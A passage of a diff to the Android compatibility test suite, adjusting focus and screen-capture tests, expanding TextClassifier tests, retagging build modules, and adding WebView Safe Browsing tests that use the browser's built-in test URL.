- View[] result = getInitialAndFirstFocus(R.layout.focus_handling_focusables);
- assertNull(result[0]);
- assertSame(result[1], activity.findViewById(R.id.focusable1));
- }
-
- @Test
- public void testDefaultFocus() throws Throwable {
- Assume.assumeFalse(ViewRootImpl.sAlwaysAssignFocus);
- Activity activity = mActivityRule.getActivity();
- View[] result = getInitialAndFirstFocus(R.layout.focus_handling_default_focus);
- assertNull(result[0]);
- assertSame(result[1], activity.findViewById(R.id.focusable2));
- }
-
- @Test
- public void testInitialFocus() throws Throwable {
- Assume.assumeFalse(ViewRootImpl.sAlwaysAssignFocus);
- Activity activity = mActivityRule.getActivity();
- View[] result = getInitialAndFirstFocus(R.layout.focus_handling_initial_focus);
- assertSame(result[0], activity.findViewById(R.id.focusable3));
- }
-
@UiThreadTest
@Test
public void testFocusAfterDescendantsTransfer() throws Throwable {
diff --git a/tests/tests/view/src/android/view/cts/surfacevalidator/CapturedActivity.java b/tests/tests/view/src/android/view/cts/surfacevalidator/CapturedActivity.java
index 1a24fae..ce5ab6e 100644
--- a/tests/tests/view/src/android/view/cts/surfacevalidator/CapturedActivity.java
+++ b/tests/tests/view/src/android/view/cts/surfacevalidator/CapturedActivity.java
@@ -59,7 +59,6 @@
}
private static final String TAG = "CapturedActivity";
- private static final long TIME_OUT_MS = 25000;
private static final int PERMISSION_CODE = 1;
private MediaProjectionManager mProjectionManager;
private MediaProjection mMediaProjection;
@@ -67,30 +66,32 @@
private SurfacePixelValidator mSurfacePixelValidator;
- public static final long CAPTURE_DURATION_MS = 10000;
private static final int PERMISSION_DIALOG_WAIT_MS = 1000;
private static final int RETRY_COUNT = 2;
private static final long START_CAPTURE_DELAY_MS = 4000;
- private static final long END_CAPTURE_DELAY_MS = START_CAPTURE_DELAY_MS + CAPTURE_DURATION_MS;
- private static final long END_DELAY_MS = END_CAPTURE_DELAY_MS + 1000;
private static final String ACCEPT_RESOURCE_ID = "android:id/button1";
private MediaPlayer mMediaPlayer;
private final Handler mHandler = new Handler(Looper.getMainLooper());
+ private volatile boolean mOnEmbedded;
private volatile boolean mOnWatch;
private CountDownLatch mCountDownLatch;
@Override
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
- mOnWatch = getPackageManager().hasSystemFeature(PackageManager.FEATURE_WATCH);
+ final PackageManager packageManager = getPackageManager();
+ mOnWatch = packageManager.hasSystemFeature(PackageManager.FEATURE_WATCH);
if (mOnWatch) {
// Don't try and set up test/capture infrastructure - they're not supported
return;
}
+ // Embedded devices are significantly slower, and are given
+ // longer duration to capture the expected number of frames
+ mOnEmbedded = packageManager.hasSystemFeature(PackageManager.FEATURE_EMBEDDED);
getWindow().getDecorView().setSystemUiVisibility(
View.SYSTEM_UI_FLAG_HIDE_NAVIGATION | View.SYSTEM_UI_FLAG_FULLSCREEN);
@@ -155,6 +156,10 @@
mCountDownLatch.countDown();
}
+ public long getCaptureDurationMs() {
+ return mOnEmbedded ? 100000 : 50000;
+ }
+
public TestResult runTest(AnimationTestCase animationTestCase) throws Throwable {
TestResult testResult = new TestResult();
if (mOnWatch) {
@@ -170,6 +175,10 @@
return testResult;
}
+ final long timeOutMs = mOnEmbedded ? 125000 : 62500;
+ final long endCaptureDelayMs = START_CAPTURE_DELAY_MS + getCaptureDurationMs();
+ final long endDelayMs = endCaptureDelayMs + 1000;
+
int count = 0;
// Sometimes system decides to rotate the permission activity to another orientation
// right after showing it. This results in: uiautomation thinks that accept button appears,
@@ -180,7 +189,7 @@
assertTrue("Can't get the permission", count <= RETRY_COUNT);
dismissPermissionDialog();
count++;
- } while (!mCountDownLatch.await(TIME_OUT_MS, TimeUnit.MILLISECONDS));
+ } while (!mCountDownLatch.await(timeOutMs, TimeUnit.MILLISECONDS));
mHandler.post(() -> {
Log.d(TAG, "Setting up test case");
@@ -229,7 +238,7 @@
Log.d(TAG, "Stopping capture");
mVirtualDisplay.release();
mVirtualDisplay = null;
- }, END_CAPTURE_DELAY_MS);
+ }, endCaptureDelayMs);
final CountDownLatch latch = new CountDownLatch(1);
mHandler.postDelayed(() -> {
@@ -238,9 +247,9 @@
mSurfacePixelValidator.finish(testResult);
latch.countDown();
mSurfacePixelValidator = null;
- }, END_DELAY_MS);
+ }, endDelayMs);
- boolean latchResult = latch.await(TIME_OUT_MS, TimeUnit.MILLISECONDS);
+ boolean latchResult = latch.await(timeOutMs, TimeUnit.MILLISECONDS);
if (!latchResult) {
testResult.passFrames = 0;
testResult.failFrames = 1000;
diff --git a/tests/tests/view/src/android/view/textclassifier/cts/TextClassificationManagerTest.java b/tests/tests/view/src/android/view/textclassifier/cts/TextClassificationManagerTest.java
index f9c86cc..71ca678 100644
--- a/tests/tests/view/src/android/view/textclassifier/cts/TextClassificationManagerTest.java
+++ b/tests/tests/view/src/android/view/textclassifier/cts/TextClassificationManagerTest.java
@@ -17,14 +17,19 @@
package android.view.textclassifier.cts;
import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertTrue;
import static org.mockito.Mockito.mock;
import android.os.LocaleList;
import android.support.test.InstrumentationRegistry;
import android.support.test.filters.SmallTest;
import android.support.test.runner.AndroidJUnit4;
+import android.view.textclassifier.TextClassification;
import android.view.textclassifier.TextClassificationManager;
import android.view.textclassifier.TextClassifier;
+import android.view.textclassifier.TextSelection;
import org.junit.Before;
import org.junit.Test;
@@ -35,33 +40,82 @@
public class TextClassificationManagerTest {
private static final LocaleList LOCALES = LocaleList.forLanguageTags("en");
+ private static final int START = 1;
+ private static final int END = 3;
+ private static final String TEXT = "text";
- private TextClassificationManager mTcm;
+ private TextClassificationManager mManager;
private TextClassifier mClassifier;
@Before
public void setup() {
- mTcm = InstrumentationRegistry.getTargetContext()
+ mManager = InstrumentationRegistry.getTargetContext()
.getSystemService(TextClassificationManager.class);
- mTcm.setTextClassifier(null); // Resets the classifier.
- mClassifier = mTcm.getTextClassifier();
+ mManager.setTextClassifier(null); // Resets the classifier.
+ mClassifier = mManager.getTextClassifier();
}
@Test
- public void testSmartSelectionDoesNotThrowException() {
- mClassifier.suggestSelection("text", 2, 3, LOCALES);
+ public void testSmartSelection() {
+ assertValidResult(mClassifier.suggestSelection(TEXT, START, END, LOCALES));
}
@Test
- public void testClassifyTextDoesNotThrowException() {
- mClassifier.classifyText("text", 2, 3, LOCALES);
+ public void testClassifyText() {
+ assertValidResult(mClassifier.classifyText(TEXT, START, END, LOCALES));
+ }
+
+ @Test
+ public void testNoOpClassifier() {
+ mManager.setTextClassifier(TextClassifier.NO_OP);
+ mClassifier = mManager.getTextClassifier();
+
+ final TextSelection selection = mClassifier.suggestSelection(TEXT, START, END, LOCALES);
+ assertValidResult(selection);
+ assertEquals(START, selection.getSelectionStartIndex());
+ assertEquals(END, selection.getSelectionEndIndex());
+ assertEquals(0, selection.getEntityCount());
+
+ final TextClassification classification =
+ mClassifier.classifyText(TEXT, START, END, LOCALES);
+ assertValidResult(classification);
+ assertNull(classification.getText());
+ assertEquals(0, classification.getEntityCount());
+ assertNull(classification.getIcon());
+ assertNull(classification.getLabel());
+ assertNull(classification.getIntent());
+ assertNull(classification.getOnClickListener());
}
@Test
public void testSetTextClassifier() {
- TextClassifier classifier = mock(TextClassifier.class);
- mTcm.setTextClassifier(classifier);
- assertEquals(classifier, mTcm.getTextClassifier());
+ final TextClassifier classifier = mock(TextClassifier.class);
+ mManager.setTextClassifier(classifier);
+ assertEquals(classifier, mManager.getTextClassifier());
+ }
+
+ private static void assertValidResult(TextSelection selection) {
+ assertNotNull(selection);
+ assertTrue(selection.getEntityCount() >= 0);
+ for (int i = 0; i < selection.getEntityCount(); i++) {
+ final String entity = selection.getEntity(i);
+ assertNotNull(entity);
+ final float confidenceScore = selection.getConfidenceScore(entity);
+ assertTrue(confidenceScore >= 0);
+ assertTrue(confidenceScore <= 1);
+ }
+ }
+
+ private static void assertValidResult(TextClassification classification) {
+ assertNotNull(classification);
+ assertTrue(classification.getEntityCount() >= 0);
+ for (int i = 0; i < classification.getEntityCount(); i++) {
+ final String entity = classification.getEntity(i);
+ assertNotNull(entity);
+ final float confidenceScore = classification.getConfidenceScore(entity);
+ assertTrue(confidenceScore >= 0);
+ assertTrue(confidenceScore <= 1);
+ }
}
}
diff --git a/tests/tests/voiceinteraction/Android.mk b/tests/tests/voiceinteraction/Android.mk
index cbb874a..b83f4e9 100644
--- a/tests/tests/voiceinteraction/Android.mk
+++ b/tests/tests/voiceinteraction/Android.mk
@@ -28,7 +28,7 @@
LOCAL_PACKAGE_NAME := CtsVoiceInteractionTestCases
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_SDK_VERSION := current
diff --git a/tests/tests/voiceinteraction/AndroidTest.xml b/tests/tests/voiceinteraction/AndroidTest.xml
index cdac41f..fd970f7 100644
--- a/tests/tests/voiceinteraction/AndroidTest.xml
+++ b/tests/tests/voiceinteraction/AndroidTest.xml
@@ -14,7 +14,9 @@
limitations under the License.
-->
<configuration description="Config for CTS Voice Interaction test cases">
+ <option name="test-suite-tag" value="cts" />
<option name="config-descriptor:metadata" key="component" value="framework" />
+ <option name="not-shardable" value="true" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
<option name="test-file-name" value="CtsVoiceInteractionService.apk" />
diff --git a/tests/tests/voiceinteraction/service/Android.mk b/tests/tests/voiceinteraction/service/Android.mk
index b8d3aa8..0b504d8 100644
--- a/tests/tests/voiceinteraction/service/Android.mk
+++ b/tests/tests/voiceinteraction/service/Android.mk
@@ -28,7 +28,7 @@
LOCAL_PACKAGE_NAME := CtsVoiceInteractionService
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_SDK_VERSION := current
diff --git a/tests/tests/voiceinteraction/testapp/Android.mk b/tests/tests/voiceinteraction/testapp/Android.mk
index aa40e53..1c37e51 100644
--- a/tests/tests/voiceinteraction/testapp/Android.mk
+++ b/tests/tests/voiceinteraction/testapp/Android.mk
@@ -30,6 +30,6 @@
LOCAL_SDK_VERSION := current
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/tests/tests/voiceinteraction/testapp/src/android/voiceinteraction/testapp/TestApp.java b/tests/tests/voiceinteraction/testapp/src/android/voiceinteraction/testapp/TestApp.java
index 1ef6a5c..dbfb031 100644
--- a/tests/tests/voiceinteraction/testapp/src/android/voiceinteraction/testapp/TestApp.java
+++ b/tests/tests/voiceinteraction/testapp/src/android/voiceinteraction/testapp/TestApp.java
@@ -34,6 +34,7 @@
import android.util.Log;
import java.util.ArrayList;
+import java.util.Arrays;
import android.voiceinteraction.common.Utils;
@@ -98,7 +99,7 @@
case SUPPORTS_COMMANDS_TEST:
String[] commands = {Utils.TEST_COMMAND};
boolean[] supported = mInteractor.supportsCommands(commands);
- Log.i(TAG, "from supportsCommands: " + supported);
+ Log.i(TAG, "from supportsCommands: " + Arrays.toString(supported));
if (supported.length == 1 && supported[0]) {
addTestResult(Utils.SUPPORTS_COMMANDS_SUCCESS);
} else {
diff --git a/tests/tests/voicesettings/Android.mk b/tests/tests/voicesettings/Android.mk
index c554470..cad36cb 100644
--- a/tests/tests/voicesettings/Android.mk
+++ b/tests/tests/voicesettings/Android.mk
@@ -28,7 +28,7 @@
LOCAL_PACKAGE_NAME := CtsVoiceSettingsTestCases
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_SDK_VERSION := current
diff --git a/tests/tests/voicesettings/AndroidTest.xml b/tests/tests/voicesettings/AndroidTest.xml
index be1a4a9..421dfb7 100644
--- a/tests/tests/voicesettings/AndroidTest.xml
+++ b/tests/tests/voicesettings/AndroidTest.xml
@@ -15,6 +15,7 @@
-->
<configuration description="Config for CTS Voice Settings test cases">
<option name="config-descriptor:metadata" key="component" value="framework" />
+ <option name="not-shardable" value="true" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
<option name="test-file-name" value="CtsVoiceSettingsService.apk" />
diff --git a/tests/tests/voicesettings/service/Android.mk b/tests/tests/voicesettings/service/Android.mk
index 6f246bd..d53c52b 100644
--- a/tests/tests/voicesettings/service/Android.mk
+++ b/tests/tests/voicesettings/service/Android.mk
@@ -28,7 +28,7 @@
LOCAL_PACKAGE_NAME := CtsVoiceSettingsService
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_SDK_VERSION := current
diff --git a/tests/tests/webkit/Android.mk b/tests/tests/webkit/Android.mk
index 2385647..c56f00e 100644
--- a/tests/tests/webkit/Android.mk
+++ b/tests/tests/webkit/Android.mk
@@ -34,7 +34,7 @@
LOCAL_PACKAGE_NAME := CtsWebkitTestCases
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
# uncomment when dalvik.annotation.Test* are removed or part of SDK
#LOCAL_SDK_VERSION := current
diff --git a/tests/tests/webkit/src/android/webkit/cts/CookieManagerTest.java b/tests/tests/webkit/src/android/webkit/cts/CookieManagerTest.java
index 843e214..799545a 100644
--- a/tests/tests/webkit/src/android/webkit/cts/CookieManagerTest.java
+++ b/tests/tests/webkit/src/android/webkit/cts/CookieManagerTest.java
@@ -22,7 +22,6 @@
import android.webkit.WebView;
import android.webkit.ValueCallback;
-import com.android.compatibility.common.util.CddTest;
import com.android.compatibility.common.util.NullWebViewUtils;
import com.android.compatibility.common.util.PollingCheck;
@@ -34,7 +33,6 @@
import java.util.regex.Matcher;
import java.util.regex.Pattern;
-@CddTest(requirement="3.4.1/H-0-1,A-0-1,T-0-1")
public class CookieManagerTest extends
ActivityInstrumentationTestCase2<CookieSyncManagerCtsActivity> {
diff --git a/tests/tests/webkit/src/android/webkit/cts/WebChromeClientTest.java b/tests/tests/webkit/src/android/webkit/cts/WebChromeClientTest.java
index 0a6b19d..fb66261 100644
--- a/tests/tests/webkit/src/android/webkit/cts/WebChromeClientTest.java
+++ b/tests/tests/webkit/src/android/webkit/cts/WebChromeClientTest.java
@@ -29,7 +29,6 @@
import android.webkit.WebView;
import android.webkit.cts.WebViewOnUiThread.WaitForProgressClient;
-import com.android.compatibility.common.util.CddTest;
import com.android.compatibility.common.util.NullWebViewUtils;
import com.android.compatibility.common.util.PollingCheck;
import com.google.common.util.concurrent.SettableFuture;
@@ -40,7 +39,6 @@
import java.util.concurrent.Future;
import java.util.concurrent.TimeUnit;
-@CddTest(requirement="3.4.1/H-0-1,T-0-1,A-0-1")
public class WebChromeClientTest extends ActivityInstrumentationTestCase2<WebViewCtsActivity> {
private static final long TEST_TIMEOUT = 5000L;
private static final String JAVASCRIPT_UNLOAD = "javascript unload";
diff --git a/tests/tests/webkit/src/android/webkit/cts/WebHistoryItemTest.java b/tests/tests/webkit/src/android/webkit/cts/WebHistoryItemTest.java
index 07785a4..d04fd69 100644
--- a/tests/tests/webkit/src/android/webkit/cts/WebHistoryItemTest.java
+++ b/tests/tests/webkit/src/android/webkit/cts/WebHistoryItemTest.java
@@ -24,11 +24,9 @@
import android.webkit.WebIconDatabase;
import android.webkit.WebView;
-import com.android.compatibility.common.util.CddTest;
import com.android.compatibility.common.util.NullWebViewUtils;
import com.android.compatibility.common.util.PollingCheck;
-@CddTest(requirement="3.4.1/H-0-1,A-0-1,T-0-1")
public class WebHistoryItemTest extends ActivityInstrumentationTestCase2<WebViewCtsActivity> {
private final static long TEST_TIMEOUT = 10000;
private CtsTestServer mWebServer;
diff --git a/tests/tests/webkit/src/android/webkit/cts/WebSettingsTest.java b/tests/tests/webkit/src/android/webkit/cts/WebSettingsTest.java
index d004565..fba3bf8 100644
--- a/tests/tests/webkit/src/android/webkit/cts/WebSettingsTest.java
+++ b/tests/tests/webkit/src/android/webkit/cts/WebSettingsTest.java
@@ -39,7 +39,6 @@
import com.android.compatibility.common.util.NullWebViewUtils;
import com.android.compatibility.common.util.PollingCheck;
-import com.android.compatibility.common.util.CddTest;
import java.io.ByteArrayInputStream;
import java.io.FileOutputStream;
@@ -53,7 +52,6 @@
/**
* Tests for {@link android.webkit.WebSettings}
*/
-@CddTest(requirement="3.4.1/H-0-1,T-0-1,A-0-1")
public class WebSettingsTest extends ActivityInstrumentationTestCase2<WebViewCtsActivity> {
private static final int WEBVIEW_TIMEOUT = 5000;
@@ -111,7 +109,6 @@
* AppleWebKit/<major>.<minor> (KHTML, like Gecko) Version/<major>.<minor>
* Chrome/<major>.<minor>.<branch>.<build>[ Mobile] Safari/<major>.<minor>
*/
- @CddTest(requirement="3.4.1/C-1-3")
public void testUserAgentString_default() {
if (!NullWebViewUtils.isWebViewAvailable()) {
return;
diff --git a/tests/tests/webkit/src/android/webkit/cts/WebViewClientTest.java b/tests/tests/webkit/src/android/webkit/cts/WebViewClientTest.java
index 439565f..523b90d 100644
--- a/tests/tests/webkit/src/android/webkit/cts/WebViewClientTest.java
+++ b/tests/tests/webkit/src/android/webkit/cts/WebViewClientTest.java
@@ -16,13 +16,16 @@
package android.webkit.cts;
+import android.app.ActivityManager;
import android.graphics.Bitmap;
+import android.os.Build;
import android.os.Message;
import android.test.ActivityInstrumentationTestCase2;
import android.view.KeyEvent;
import android.view.ViewGroup;
import android.webkit.HttpAuthHandler;
import android.webkit.RenderProcessGoneDetail;
+import android.webkit.SafeBrowsingResponse;
import android.webkit.ValueCallback;
import android.webkit.WebChromeClient;
import android.webkit.WebResourceError;
@@ -34,7 +37,6 @@
import android.webkit.cts.WebViewOnUiThread.WaitForLoadedClient;
import android.util.Pair;
-import com.android.compatibility.common.util.CddTest;
import com.android.compatibility.common.util.EvaluateJsResultPollingCheck;
import com.android.compatibility.common.util.NullWebViewUtils;
import com.android.compatibility.common.util.PollingCheck;
@@ -46,7 +48,6 @@
import java.util.List;
import java.util.ArrayList;
-@CddTest(requirement="3.4.1/H-0-1,T-0-1,A-0-1")
public class WebViewClientTest extends ActivityInstrumentationTestCase2<WebViewCtsActivity> {
private static final long TEST_TIMEOUT = 5000;
private static final String TEST_URL = "http://www.example.com/";
@@ -54,6 +55,9 @@
private WebViewOnUiThread mOnUiThread;
private CtsTestServer mWebServer;
+ private static final String TEST_SAFE_BROWSING_URL =
+ "chrome://safe-browsing/match?type=malware";
+
public WebViewClientTest() {
super("android.webkit.cts", WebViewCtsActivity.class);
}
@@ -589,6 +593,12 @@
if (!NullWebViewUtils.isWebViewAvailable()) {
return;
}
+ if (Build.SUPPORTED_64_BIT_ABIS.length == 0 &&
+ getActivity().getSystemService(ActivityManager.class).isLowRamDevice()) {
+ // Renderer process crashes can only be handled when multiprocess is enabled,
+ // which is not the case for 32-bit lowram devices.
+ return;
+ }
final MockWebViewClient webViewClient = new MockWebViewClient();
mOnUiThread.setWebViewClient(webViewClient);
mOnUiThread.loadUrl("chrome://kill");
@@ -601,6 +611,53 @@
assertFalse(webViewClient.didRenderProcessCrash());
}
+ public void testOnSafeBrowsingHit() throws Throwable {
+ if (!NullWebViewUtils.isWebViewAvailable()) {
+ return;
+ }
+ final SafeBrowsingBackToSafetyClient backToSafetyWebViewClient =
+ new SafeBrowsingBackToSafetyClient();
+ mOnUiThread.setWebViewClient(backToSafetyWebViewClient);
+ mOnUiThread.getSettings().setSafeBrowsingEnabled(true);
+
+ mWebServer = new CtsTestServer(getActivity());
+ String url = mWebServer.getAssetUrl(TestHtmlConstants.HELLO_WORLD_URL);
+ mOnUiThread.loadUrlAndWaitForCompletion(url);
+ final String ORIGINAL_URL = mOnUiThread.getUrl();
+
+ if (mOnUiThread.getSettings().getSafeBrowsingEnabled()) {
+ assertEquals(0, backToSafetyWebViewClient.hasOnReceivedErrorCode());
+ mOnUiThread.loadUrlAndWaitForCompletion(TEST_SAFE_BROWSING_URL);
+
+ assertEquals(TEST_SAFE_BROWSING_URL,
+ backToSafetyWebViewClient.getOnSafeBrowsingHitRequest().getUrl().toString());
+ assertTrue(backToSafetyWebViewClient.getOnSafeBrowsingHitRequest().isForMainFrame());
+
+ // Back to safety should produce a network error
+ assertEquals(WebViewClient.ERROR_UNSAFE_RESOURCE,
+ backToSafetyWebViewClient.hasOnReceivedErrorCode());
+
+ // Check that we actually navigated backward
+ assertEquals(ORIGINAL_URL, mOnUiThread.getUrl());
+ }
+
+ final SafeBrowsingProceedClient proceedWebViewClient = new SafeBrowsingProceedClient();
+ mOnUiThread.setWebViewClient(proceedWebViewClient);
+
+ mOnUiThread.getSettings().setSafeBrowsingEnabled(true);
+ if (mOnUiThread.getSettings().getSafeBrowsingEnabled()) {
+ assertEquals(0, proceedWebViewClient.hasOnReceivedErrorCode());
+ mOnUiThread.loadUrlAndWaitForCompletion(TEST_SAFE_BROWSING_URL);
+
+ assertEquals(TEST_SAFE_BROWSING_URL,
+ proceedWebViewClient.getOnSafeBrowsingHitRequest().getUrl().toString());
+ assertTrue(proceedWebViewClient.getOnSafeBrowsingHitRequest().isForMainFrame());
+
+ // Check that we actually proceeded
+ assertEquals(TEST_SAFE_BROWSING_URL, mOnUiThread.getUrl());
+ }
+ }
+
private void requireLoadedPage() throws Throwable {
if (!NullWebViewUtils.isWebViewAvailable()) {
return;
@@ -819,4 +876,48 @@
return true;
}
}
+
+ private class SafeBrowsingBackToSafetyClient extends MockWebViewClient {
+ private WebResourceRequest mOnSafeBrowsingHitRequest;
+ private int mOnSafeBrowsingHitThreatType;
+
+ public WebResourceRequest getOnSafeBrowsingHitRequest() {
+ return mOnSafeBrowsingHitRequest;
+ }
+
+ public int getOnSafeBrowsingHitThreatType() {
+ return mOnSafeBrowsingHitThreatType;
+ }
+
+ @Override
+ public void onSafeBrowsingHit(WebView view, WebResourceRequest request,
+ int threatType, SafeBrowsingResponse response) {
+ // Immediately go back to safety to return the network error code
+ mOnSafeBrowsingHitRequest = request;
+ mOnSafeBrowsingHitThreatType = threatType;
+ response.backToSafety(/* report */ true);
+ }
+ }
+
+ private class SafeBrowsingProceedClient extends MockWebViewClient {
+ private WebResourceRequest mOnSafeBrowsingHitRequest;
+ private int mOnSafeBrowsingHitThreatType;
+
+ public WebResourceRequest getOnSafeBrowsingHitRequest() {
+ return mOnSafeBrowsingHitRequest;
+ }
+
+ public int getOnSafeBrowsingHitThreatType() {
+ return mOnSafeBrowsingHitThreatType;
+ }
+
+ @Override
+ public void onSafeBrowsingHit(WebView view, WebResourceRequest request,
+ int threatType, SafeBrowsingResponse response) {
+ // Proceed through Safe Browsing warnings
+ mOnSafeBrowsingHitRequest = request;
+ mOnSafeBrowsingHitThreatType = threatType;
+ response.proceed(/* report */ true);
+ }
+ }
}
diff --git a/tests/tests/webkit/src/android/webkit/cts/WebViewTest.java b/tests/tests/webkit/src/android/webkit/cts/WebViewTest.java
index 92c9be4..95c860e 100755
--- a/tests/tests/webkit/src/android/webkit/cts/WebViewTest.java
+++ b/tests/tests/webkit/src/android/webkit/cts/WebViewTest.java
@@ -18,6 +18,7 @@
import android.content.ContentResolver;
import android.content.Context;
+import android.content.ContextWrapper;
import android.content.res.AssetManager;
import android.graphics.Bitmap;
import android.graphics.Bitmap.Config;
@@ -30,6 +31,7 @@
import android.os.Bundle;
import android.os.CancellationSignal;
import android.os.Handler;
+import android.os.LocaleList;
import android.os.Looper;
import android.os.Message;
import android.os.ParcelFileDescriptor;
@@ -50,14 +52,19 @@
import android.view.MotionEvent;
import android.view.View;
import android.view.ViewGroup;
+import android.view.textclassifier.TextClassification;
+import android.view.textclassifier.TextClassifier;
+import android.view.textclassifier.TextSelection;
import android.webkit.ConsoleMessage;
import android.webkit.CookieSyncManager;
import android.webkit.DownloadListener;
import android.webkit.JavascriptInterface;
+import android.webkit.SafeBrowsingResponse;
import android.webkit.ValueCallback;
import android.webkit.WebBackForwardList;
import android.webkit.WebChromeClient;
import android.webkit.WebIconDatabase;
+import android.webkit.WebResourceRequest;
import android.webkit.WebSettings;
import android.webkit.WebView;
import android.webkit.WebView.HitTestResult;
@@ -69,7 +76,6 @@
import android.webkit.cts.WebViewOnUiThread.WaitForProgressClient;
import android.widget.LinearLayout;
-import com.android.compatibility.common.util.CddTest;
import com.android.compatibility.common.util.EvaluateJsResultPollingCheck;
import com.android.compatibility.common.util.NullWebViewUtils;
import com.android.compatibility.common.util.PollingCheck;
@@ -82,6 +88,9 @@
import java.io.FileNotFoundException;
import java.io.IOException;
+import java.net.MalformedURLException;
+import java.net.URL;
+
import java.nio.charset.Charset;
import java.nio.charset.StandardCharsets;
@@ -94,7 +103,9 @@
import java.util.concurrent.FutureTask;
import java.util.concurrent.Semaphore;
import java.util.concurrent.TimeUnit;
+import java.util.ArrayList;
import java.util.HashMap;
+import java.util.List;
import java.util.Map;
import org.apache.http.Header;
@@ -104,7 +115,6 @@
import org.apache.http.util.EncodingUtils;
import org.apache.http.util.EntityUtils;
-@CddTest(requirement="3.4.1/H-0-1,T-0-1,A-0-1")
public class WebViewTest extends ActivityInstrumentationTestCase2<WebViewCtsActivity> {
public static final long TEST_TIMEOUT = 20000L;
private static final int INITIAL_PROGRESS = 100;
@@ -2641,6 +2651,62 @@
assertTrue(callbackLatch.await(TEST_TIMEOUT, TimeUnit.MILLISECONDS));
}
+ public void testSetSafeBrowsingWhitelistWithMalformedList() throws Exception {
+ if (!NullWebViewUtils.isWebViewAvailable()) {
+ return;
+ }
+
+ List whitelist = new ArrayList<String>();
+ // Protocols are not supported in the whitelist
+ whitelist.add("http://google.com");
+ final CountDownLatch resultLatch = new CountDownLatch(1);
+ WebView.setSafeBrowsingWhitelist(whitelist, new ValueCallback<Boolean>() {
+ @Override
+ public void onReceiveValue(Boolean success) {
+ assertFalse(success);
+ resultLatch.countDown();
+ }
+ });
+ assertTrue(resultLatch.await(TEST_TIMEOUT, TimeUnit.MILLISECONDS));
+ }
+
+ public void testSetSafeBrowsingWhitelistWithValidList() throws Exception {
+ if (!NullWebViewUtils.isWebViewAvailable()) {
+ return;
+ }
+
+ List whitelist = new ArrayList<String>();
+ whitelist.add("safe-browsing");
+ final CountDownLatch resultLatch = new CountDownLatch(1);
+ WebView.setSafeBrowsingWhitelist(whitelist, new ValueCallback<Boolean>() {
+ @Override
+ public void onReceiveValue(Boolean success) {
+ assertTrue(success);
+ resultLatch.countDown();
+ }
+ });
+ assertTrue(resultLatch.await(TEST_TIMEOUT, TimeUnit.MILLISECONDS));
+
+ final CountDownLatch resultLatch2 = new CountDownLatch(1);
+ mOnUiThread.setWebViewClient(new WebViewClient() {
+ @Override
+ public void onPageFinished(WebView view, String url) {
+ resultLatch2.countDown();
+ }
+
+ @Override
+ public void onSafeBrowsingHit(WebView view, WebResourceRequest request, int threatType,
+ SafeBrowsingResponse callback) {
+ Assert.fail("Should not invoke onSafeBrowsingHit");
+ }
+ });
+
+ mOnUiThread.loadUrl("chrome://safe-browsing/match?type=malware");
+
+ // Wait until page load has completed
+ assertTrue(resultLatch2.await(TEST_TIMEOUT, TimeUnit.MILLISECONDS));
+ }
+
@UiThreadTest
public void testGetWebViewClient() throws Exception {
if (!NullWebViewUtils.isWebViewAvailable()) {
@@ -2678,6 +2744,99 @@
assertSame(client2, webView.getWebChromeClient());
}
+ @UiThreadTest
+ public void testSetCustomTextClassifier() throws Exception {
+ if (!NullWebViewUtils.isWebViewAvailable()) {
+ return;
+ }
+
+ class CustomTextClassifier implements TextClassifier {
+ @Override
+ public TextSelection suggestSelection(
+ CharSequence text,
+ int startIndex,
+ int endIndex,
+ LocaleList defaultLocales) {
+ return new TextSelection.Builder(0, 1).build();
+ }
+
+ @Override
+ public TextClassification classifyText(
+ CharSequence text,
+ int startIndex,
+ int endIndex,
+ LocaleList defaultLocales) {
+ return new TextClassification.Builder().build();
+ }
+ };
+
+ TextClassifier classifier = new CustomTextClassifier();
+ WebView webView = new WebView(getActivity());
+ webView.setTextClassifier(classifier);
+ assertSame(webView.getTextClassifier(), classifier);
+ }
+
+ private static class MockContext extends ContextWrapper {
+ private boolean mGetApplicationContextWasCalled;
+
+ public MockContext(Context context) {
+ super(context);
+ }
+
+ public Context getApplicationContext() {
+ mGetApplicationContextWasCalled = true;
+ return super.getApplicationContext();
+ }
+
+ public boolean wasGetApplicationContextCalled() {
+ return mGetApplicationContextWasCalled;
+ }
+ }
+
+ public void testStartSafeBrowsingUseApplicationContext() throws Exception {
+ if (!NullWebViewUtils.isWebViewAvailable()) {
+ return;
+ }
+
+ final MockContext ctx = new MockContext(getActivity());
+ final CountDownLatch resultLatch = new CountDownLatch(1);
+ WebView.startSafeBrowsing(ctx, new ValueCallback<Boolean>() {
+ @Override
+ public void onReceiveValue(Boolean value) {
+ assertTrue(ctx.wasGetApplicationContextCalled());
+ resultLatch.countDown();
+ return;
+ }
+ });
+ assertTrue(resultLatch.await(TEST_TIMEOUT, TimeUnit.MILLISECONDS));
+ }
+
+ public void testStartSafeBrowsingWithNullCallbackDoesntCrash() throws Exception {
+ if (!NullWebViewUtils.isWebViewAvailable()) {
+ return;
+ }
+
+ WebView.startSafeBrowsing(getActivity().getApplicationContext(), null);
+ }
+
+ public void testStartSafeBrowsingInvokesCallback() throws Exception {
+ if (!NullWebViewUtils.isWebViewAvailable()) {
+ return;
+ }
+
+ final CountDownLatch resultLatch = new CountDownLatch(1);
+ WebView.startSafeBrowsing(getActivity().getApplicationContext(),
+ new ValueCallback<Boolean>() {
